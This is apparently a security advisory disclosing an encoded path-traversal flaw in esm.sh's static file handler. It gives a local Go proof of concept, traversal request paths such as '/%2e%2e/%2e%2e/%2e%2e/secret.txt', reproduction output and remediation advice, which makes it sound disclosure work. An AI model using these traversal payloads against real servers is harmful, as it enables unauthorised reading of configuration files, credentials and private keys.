Vulnerability GHSA-g3c2-rjq2-c763
Summary
esm.sh: web.NewHandler allows arbitrary file read via encoded dot-segment path traversal
Details
Summary
The documented web.NewHandler static file server can read files outside Config.AppDir when the request path contains URL-encoded dot-segments such as %2e%2e. Go's ServeMux redirects plain /../ paths, but it passes encoded dot-segments to the handler after decoding r.URL.Path. The handler then calls filepath.Join(s.config.AppDir, r.URL.Path) without checking that the result remains under AppDir, allowing unauthenticated arbitrary file reads with the server process privileges.
Details
web/README.md:34-40 documents a network-facing setup:
http.Handle("GET /", web.NewHandler(web.Config{
AppDir: "/path/to/webapp",
Fallback: "/index.html",
Dev: false,
}))
log.Fatal(http.ListenAndServe(":8080", nil))
In web/handler.go:62-75, the handler takes r.URL.Path and joins it directly with s.config.AppDir:
pathname := r.URL.Path
filename := filepath.Join(s.config.AppDir, pathname)
fi, err := os.Lstat(filename)
Later the same resolved filename is opened and copied to the response in web/handler.go:150-166 for non-HTML/static files. There is no filepath.IsLocal, cleaned-relative-path, absolute-root prefix, or symlink-aware containment check before opening the file.
A plain /../secret.txt path is redirected by Go's ServeMux, but an encoded path such as /%2e%2e/secret.txt is decoded into r.URL.Path == "/../secret.txt" and reaches the handler. On Linux, filepath.Join("/tmp/root/app", "/../secret.txt") resolves to /tmp/root/secret.txt, outside the configured app directory.
Source-to-sink chain:
Unauthenticated HTTP request path containing URL-encoded dot-segments
-> net/http decodes path into r.URL.Path
-> documented ServeMux setup passes encoded dot-segment path to web.NewHandler
-> web/handler.go joins Config.AppDir with r.URL.Path
-> os.Lstat/os.Open operate on the escaped path
-> io.Copy returns file contents to the attacker
False-positive checks performed:
- Plain dot-segment paths are redirected by
http.ServeMux, but encoded dot-segments are not blocked and reach the handler. - The PoC uses the documented
http.Handle("GET /", web.NewHandler(...))setup, not a custom bypass of ServeMux. - A control request for
/secret.txtdoes not read the outside file; the disclosure requires encoded traversal segments. - The issue is independent of
Dev/HMR; it reproduces withDev: false. - The root cause appears in other handler paths that join app paths, but the static file read path is sufficient to prove arbitrary file disclosure.
Candidate score: 18/18 under the local audit scoring rubric. The handler is documented for network-facing use, the attacker directly controls the request path, the path reaches os.Open, file disclosure was reproduced locally, and no root containment mitigation is present.
PoC
This safe local proof creates an application directory and a sibling secret file outside it, registers the handler exactly as documented, and requests the sibling file through encoded .. path segments.
package main
import (
"fmt"
"net/http"
"net/http/httptest"
"os"
"strings"
"github.com/esm-dev/esm.sh/web"
)
func main() {
mux := http.NewServeMux()
mux.Handle("GET /", web.NewHandler(web.Config{AppDir: os.Args[1], Dev: false}))
for _, target := range []string{
"http://example/%2e%2e/%2e%2e/%2e%2e/secret.txt",
"http://example/secret.txt",
} {
rr := httptest.NewRecorder()
req := httptest.NewRequest("GET", target, nil)
mux.ServeHTTP(rr, req)
fmt.Printf("%s => status=%d location=%q contains_secret=%v body=%q\n",
target,
rr.Code,
rr.Header().Get("Location"),
strings.Contains(rr.Body.String(), "ancestor-secret-marker"),
rr.Body.String(),
)
}
}
Maintainer-runnable clean-checkout recipe:
tmp=$(mktemp -d)
mkdir -p "$tmp/root/a/b/app"
printf 'ancestor-secret-marker' > "$tmp/root/secret.txt"
printf '<h1>inside</h1>' > "$tmp/root/a/b/app/index.html"
cat > "$tmp/poc.go" <<'EOF'
[place the PoC above here]
EOF
go run "$tmp/poc.go" "$tmp/root/a/b/app"
rm -rf "$tmp"
Observed vulnerable output in this environment:
http://example/%2e%2e/%2e%2e/%2e%2e/secret.txt => status=200 location="" contains_secret=true body="ancestor-secret-marker"
http://example/secret.txt => status=200 location="" contains_secret=false body="<h1>inside</h1>"
Final re-check after drafting reproduced the same output:
http://example/%2e%2e/%2e%2e/%2e%2e/secret.txt => status=200 location="" contains_secret=true body="ancestor-secret-marker"
http://example/secret.txt => status=200 location="" contains_secret=false body="<h1>inside</h1>"
Additional parser/control evidence observed locally:
http://example/../secret.txt => status=307 loc="/secret.txt"
handler Path="/../secret.txt" RawPath="/%2e%2e/secret.txt"
http://example/%2e%2e/secret.txt => status=204 loc=""
http://example/a/../../secret.txt => status=307 loc="/secret.txt"
This confirms that the documented ServeMux setup redirects plain traversal paths but lets encoded dot-segments reach the handler.
Impact
An unauthenticated remote attacker can read files that are outside the configured web application directory but readable by the server process. Depending on deployment layout and process privileges, this can disclose source files, configuration files, environment-adjacent files, build artifacts, local credentials, private keys, or other application secrets located in ancestor or sibling directories.
The impact is limited to file disclosure in the confirmed path. No write primitive or code execution was confirmed in this audit.
Suggested remediation
Normalize request paths into a cleaned relative path before joining them with AppDir, and reject any path that is not local. A robust pattern is:
- reject paths containing NUL bytes,
- use
path.Clean("/" + r.URL.EscapedPath())or an equivalent URL-path canonicalization step, - trim the leading slash and reject non-local paths with
filepath.IsLocal, - join only the validated relative path to
AppDir, - optionally compare absolute cleaned paths to ensure the result remains inside the absolute app root,
- consider symlink policy explicitly if symlinks inside
AppDirshould not escape the app root.
Add regression tests for /%2e%2e/secret.txt, multi-level encoded traversal, plain /../ behavior, and normal in-app file serving.
Credits
- Thai Son Dinh from VinSOC Labs (R&D)